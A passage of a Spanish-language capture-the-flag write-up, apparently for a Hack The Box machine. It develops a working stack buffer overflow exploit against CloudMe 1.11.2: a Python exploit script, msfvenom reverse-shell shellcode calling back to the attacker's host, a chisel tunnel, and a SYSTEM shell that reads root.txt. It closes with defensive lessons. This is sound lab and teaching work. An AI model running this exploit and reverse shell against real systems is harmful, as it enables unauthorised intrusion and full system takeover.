    - (Re)setting logfile C:\Users\usuario\Downloads\Analysis\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f..."
Done, wrote 256 bytes to file C:\Users\usuario\Downloads\Analysis\bytearray.bin

Los dos ficheros hay que traerlos al atacante, y el mismo smbserver.py de antes sirve para eso, esta vez en el sentido contrario:

smbserver.py smbFolder $(pwd) -smb2support

smbserver.py publicado de nuevo desde el directorio de exploits del atacante

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0

el explorador del Windows 7 copia bytearray.bin y bytearray.txt desde Descargas\Analysis al recurso de red \\192.168.1.80\smbfolder

Red > 192.168.1.80 > smbfolder
  bytearray.bin   03/09/2025 16:30   Archivo BIN    1 KB
  bytearray       03/09/2025 16:30   Documento de tex...  2 KB
  exploit         02/09/2025 20:07   Python File    1 KB

el smbserver registra la conexión del Windows 7 y, al cortarlo, el ls del atacante ya muestra bytearray.bin y bytearray.txt

[*] Incoming connection (192.168.1.203,49733)
[*] AUTHENTICATE_MESSAGE (WIN-L3DIH73AS4R\usuario,WIN-L3DIH73AS4R)
[*] User WIN-L3DIH73AS4R\usuario authenticated successfully
[*] Connecting Share(2:smbfolder)

# ls
bytearray.bin  bytearray.txt  exploit.py

El .txt trae los 256 bytes ya formateados para pegarlos en un script de Python:

cat bytearray.txt | tail -n 11

las once últimas líneas de bytearray.txt con los 256 bytes en formato \x00\x01\x02 listos para copiar

"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
...
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

A partir de aquí el envío deja de hacerse a mano: un script corto automatiza el relleno, el EIP y el bloque de bytes.

cat exploit.py
python3 exploit.py

el exploit.py con offset 1052, eip de cuatro B y el bloque badchars completo, ejecutado con python3

#!/usr/bin/python3

import socket, signal, sys

def def_handler(sig, frame):
        print("\n\n[!]Saliendo...\n")
        sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"B"*4
badchars = (b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f..."
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

payload = before_eip + eip + badchars

def makeConnection():

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip_address, 8888))
        s.send(payload)

if __name__ == '__main__':

        makeConnection()

Tras el envío, se localiza en el depurador dónde han caído esos 256 bytes. El botón derecho sobre el ESP y Follow in Dump lleva el volcado justo al principio del bloque:

el menú contextual del registro ESP con Follow in Dump seleccionado, y el volcado inferior mostrando la secuencia 00 01 02 03 04 05 06 07 a partir de 0022D470

0022D470   00 01 02 03 04 05 06 07
0022D478   08 09 0A 0B 0C 0D 0E 0F
0022D480   10 11 12 13 14 15 16 17

Esa dirección es la que se le pasa a mona para comparar la memoria con el fichero original:

!mona compare -a 0x0022D470 -f C:\Users\usuario\Downloads\Analysis\bytearray.bin

la ventana de resultados de mona muestra la dirección 0x0022d470 con estado Unmodified y la columna BadChars vacía

mona Memory comparison results
  Address     Status      BadChars   Type
  0x0022d470  Unmodified             normal

Unmodified y la columna de bad chars vacía: ningún byte se altera por el camino. Aun así, el \x00 se excluirá al generar el shellcode, porque es el terminador de cadena de C y da problemas en cuanto interviene cualquier función de copia.

Redirigir el flujo: jmp ESP

Ya se controla el EIP y se sabe que el shellcode irá a parar donde apunta el ESP. Falta unir las dos cosas, y no vale poner directamente la dirección del ESP: cambia en cada ejecución. La solución clásica es buscar en la memoria del proceso una instrucción jmp ESP ya existente y apuntar el EIP a ella; sea cual sea el valor del ESP en ese momento, el salto irá a donde toca.

Esa instrucción tiene que vivir en un módulo sin protecciones: si tiene ASLR o Rebase, su dirección cambia entre arranques y el exploit deja de ser fiable. !mona modules las lista todas con sus banderas:

!mona modules

la tabla de mona modules con las DLL del proceso; las de la carpeta de CloudMe aparecen con Rebase, SafeSEH, ASLR y NXCompat en False, y la fila de Qt5Core.dll resaltada

0x6a80000 | 0x6905000 | False False False False False False | 5.9.0.0 [Qt5Core.dll]
   (C:\Users\usuario\AppData\Local\Programs\CloudMe\Qt5Core.dll)
0x6770000 | 0x7716000 | True  True  True  True  True  True  | 7.0.7600.16385 [msvcrt.dll]
   (C:\Windows\system32\msvcrt.dll)

El patrón salta a la vista: las DLL del sistema van con todo activado y las que trae CloudMe con todo desactivado. Son las suyas las que sirven. Sobre una de ellas, qsqlite.dll, se buscan los opcodes de jmp ESP, que en x86 son siempre los dos bytes \xff\xe4:

!mona find -s "\xff\xe4" -m qsqlite.dll

mona encuentra cuatro punteros de tipo \xff\xe4 en qsqlite.dll, todos con PAGE_EXECUTE_WRITECOPY y ASLR, Rebase y SafeSEH en False

[+] Results :
 6D619117  0x6d619117 : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll] ASLR: False, Rebase: False, SafeSEH: False
 6D62129B  0x6d62129b : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll] ASLR: False, Rebase: False, SafeSEH: False
 6D62341B  0x6d62341b : "\xff\xe4" | asciiprint,ascii {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll]
 6D629E17  0x6d629e17 : "\xff\xe4" | {PAGE_EXECUTE_WRITECOPY} [qsqlite.dll]
    Found a total of 4 pointers

Cuatro candidatos, todos con permiso de ejecución (PAGE_EXECUTE_*), que es imprescindible: sin él la CPU se niega a ejecutar lo que haya ahí. Nos quedamos con el primero, 0x6d619117. Como x86 es little endian, en el exploit se escribe con los bytes al revés: \x17\x91\x61\x6d.

Antes de confiar en él conviene ponerle un breakpoint, para ver si la ejecución llega de verdad hasta esa instrucción. Se navega a la dirección con Ctrl+G:

el diálogo Enter expression to follow de Immunity con la dirección 0x6d619117 escrita

Enter expression to follow
  0x6d619117

la línea 6D619117 FFE4 JMP ESP resaltada en el desensamblador, lista para marcar el breakpoint con F2

6D619117   FFE4   JMP ESP

Ahí está la instrucción, exactamente donde decía mona. Se sustituye el b"B"*4 del exploit por la dirección:

cat exploit.py
python3 exploit.py

el exploit.py con eip = b"\x17\x91\x61\x6d" anotado como el nuevo valor en little endian, seguido del bloque de badchars

ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"\x17\x91\x61\x6d"

tras el envío, el EIP de Immunity muestra 6D619117 qsqlite.6D619117 y la ejecución se ha detenido en el JMP ESP

EBX 41414141
ESP 0022AB50
EIP 6D619117  qsqlite.6D619117

El EIP ya no es basura: contiene la dirección del jmp ESP dentro de qsqlite.dll, y el depurador ha parado en el breakpoint. La ejecución está donde queríamos, y lo siguiente que corra será lo que haya en el ESP.

Shellcode: de la parada al control

Ese hueco lo rellena msfvenom con una reverse shell, excluyendo el \x00:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.80 LPORT=4444 --platform windows -a x86 -f c -b "\x00"

msfvenom codifica con x86/shikata_ga_nai y devuelve 351 bytes de shellcode en formato C

Found 11 compatible encoders
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xb8\x62\x28\xa1\x71\xdd\xc4\xd9\x74\x24\xf4\x5a\x29\xc9"
...

Entre la dirección de salto y el shellcode se intercala un colchón de NOPs (\x90, la instrucción que no hace nada). No es superstición: los codificadores como shikata_ga_nai se descifran a sí mismos en tiempo de ejecución y necesitan unos bytes de margen para hacerlo sin pisarse. La estructura final queda "A"*1052 + jmp_esp + NOPs + shellcode, y contra el laboratorio funciona:

python3 exploit.py
sudo rlwrap nc -nlvp 4444
whoami

el exploit.py con los 16 NOPs y el shellcode integrados, y a la derecha el listener recibiendo la shell del Windows 7 como win-l3dih73as4r\usuario

nops = b"\x90"*16
payload = before_eip + eip + nops + shellcode

listening on [any] 4444 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.203] 49544
Microsoft Windows [Versión 6.1.7600]

C:\Users\usuario\AppData\Local\Programs\CloudMe\CloudMe>whoami
win-l3dih73as4r\usuario

El desarrollo está cerrado. Ahora hay que llevarlo a la máquina real.

Del laboratorio a la víctima

Dos cambios. El primero, el shellcode: el del laboratorio llamaba a 192.168.1.80, así que se regenera apuntando al atacante de HTB, y esta vez con EXITFUNC=thread para que al terminar la shell el proceso de CloudMe no se lleve por delante el servicio entero:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 --platform windows -a x86 -f c EXITFUNC=thread -b "\x00"

msfvenom genera el shellcode definitivo hacia 10.10.16.2:443 con EXITFUNC=thread, otros 351 bytes

x86/shikata_ga_nai succeeded with size 351 (iteration=0)
Payload size: 351 bytes
Final size of c file: 1506 bytes
unsigned char buf[] =
"\xbe\xe9\xf9\x0d\xd4\xda\xc7\xd9\x74\x24\xf4\x5a\x29\xc9"
...

El segundo cambio es menos evidente: la dirección del jmp ESP del laboratorio no vale contra la víctima.

sudo nano exploit.py
cat exploit.py

el exploit definitivo con eip = b"\x7b\x8a\xa9\x68", los 16 NOPs y el shellcode nuevo

ip_address = "127.0.0.1"
offset = 1052
before_eip = b"A"*offset
eip = b"\x7b\x8a\xa9\x68"
nops = b"\x90"*16
#sub_esp = b"\x83\xEC\x10"

La causa exacta no se puede afirmar sin depurar la máquina real (algo que aquí no es posible), pero el indicio apunta a los permisos de la página: los cuatro punteros que encontró mona en el laboratorio estaban en PAGE_EXECUTE_WRITECOPY, mientras que la nueva dirección, 0x68a98a7b, cae en el mismo rango que el 0x68a842b5 del PoC público, es decir, en otro de los módulos que trae CloudMe. La moraleja práctica es la que se repite en cualquier desarrollo de exploits: la dirección de retorno es lo primero que hay que revisar cuando un exploit que funcionaba deja de funcionar.

Falta lo de siempre, alcanzar el 127.0.0.1:8888 de la víctima. Mismo túnel que en el laboratorio, pero ahora el binario es windows_amd64 (la víctima es de 64 bits) y hay que subirlo:

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_windows_amd64.gz &>/dev/null; ls
gunzip chisel_1.7.7_windows_amd64.gz &>/dev/null
mv chisel_1.7.7_windows_amd64 chisel.exe
python3 -m http.server 8080
curl http://10.10.16.2:8080/chisel.exe -o chisel.exe
dir

el wget, gunzip y mv de chisel en el atacante, el http.server registrando el GET /chisel.exe y el dir de la víctima con chisel.exe de 8.230.912 bytes en C:\Windows\Temp\privesc

# ls -la | grep chisel
-rw-r--r-- 1 root root 8230912 Jan 31  2022 chisel.exe

# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.10.198 - - [04/Sep/2025 14:40:18] "GET /chisel.exe HTTP/1.1" 200 -

C:\Windows\Temp\privesc>dir
04/09/2025  13:40         8,230,912 chisel.exe
# atacante
chisel server --reverse -p 1234
chisel.exe client 10.10.16.2:1234 R:8888:127.0.0.1:8888

chisel establece el túnel inverso: el servidor anuncia proxy#R:8888=&gt;8888 Listening y el cliente de la víctima reporta Connected

2025/09/04 14:42:17 server: Reverse tunnelling enabled
2025/09/04 14:42:17 server: Fingerprint 90q0ww41xHo6dCXV/Hmp0EbaXDZDS3/pL6Kry/Btqok=
2025/09/04 14:42:17 server: Listening on http://0.0.0.0:1234
2025/09/04 14:47:00 server: session#1: tun: proxy#R:8888⇒8888: Listening

C:\Windows\Temp\privesc>chisel.exe client 10.10.16.2:1234 R:8888:127.0.0.1:8888
2025/09/04 13:47:00 client: Connecting to ws://10.10.16.2:1234
2025/09/04 13:47:01 client: Connected (Latency 104.4591ms)

Con el túnel activo, el exploit sigue apuntando a 127.0.0.1:8888, que ahora sale por el túnel hacia CloudMe en la víctima. Y como el servicio corre con la cuenta del sistema, la shell que vuelve no es la de shaun:

python3 exploit.py
sudo rlwrap nc -nlvp 443

el exploit lanzado contra el túnel devuelve una shell en C:\Windows\system32 que lee root.txt en el escritorio de Administrator

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.198] 49905
Microsoft Windows [Version 10.0.17134.1610]

C:\Windows\system32>cd C:\Users
C:\Users>dir
20/07/2025  12:08    <DIR>          Administrator
16/06/2020  15:08    <DIR>          Public
16/06/2020  15:11    <DIR>          shaun

C:\Users\Administrator\Desktop>type root.txt
9d073d77af609f73aaabfb71aec7ef93

Cadena de ataque

Gym Management Software 1.0 (:8080)
   │  upload no autenticado: webshell .php.png (magic bytes PNG + Content-Type)
   ▼
RCE como shaun  →  nc.exe por SMB  →  user.txt
   │  winPEAS → CloudMe 1.11.2 en 127.0.0.1:8888 (loopback)
   ▼
laboratorio Win7: offset 1052 → bad chars (ninguno) → jmp ESP → shellcode
   │  chisel: túnel inverso R:8888:127.0.0.1:8888
   ▼
exploit a 127.0.0.1:8888  →  NT AUTHORITY\SYSTEM  →  root.txt

Lecciones aprendidas

  • Validar imágenes por magic bytes y Content-Type no basta. Una webshell .php.png con cabecera PNG burla esos controles; hay que servir lo subido desde una carpeta sin ejecución y validar extensión real (subida a RCE).
  • El exploit público es documentación, no atajo. Leer 48506.py antes de lanzarlo es lo que explica por qué funciona la doble extensión, y leer 48389.py sin usarlo da un control contra el que verificar los números propios. Copiar y pegar habría dado la máquina igual, sin aprender nada.
  • Un servicio en loopback no es un servicio seguro. CloudMe solo escuchaba en 127.0.0.1, pero con una shell local y un túnel (chisel) se vuelve alcanzable. La defensa real es parchear y no ejecutar software vulnerable, no confiar en que "no se ve desde fuera".
  • Replicar el objetivo en un laboratorio propio es la mitad del trabajo. Depurar contra producción tumba el servicio en cada intento; montar CloudMe 1.11.2 en un Windows 7 permitió iterar sin límite. El precio es que lo medido en el laboratorio no siempre se traslada tal cual, como demostró la dirección de retorno.
  • Los desbordamientos de pila siguen vivos en software de escritorio. CloudMe 1.11.2 cargaba sus propias DLL sin ASLR, Rebase ni SafeSEH, mientras las del sistema iban con todo activado: un jmp ESP en una de ellas bastó. Compilar con DEP/ASLR/stack canaries corta el vector.
Cheatsheet de comandos 22 comandos

Repaso rápido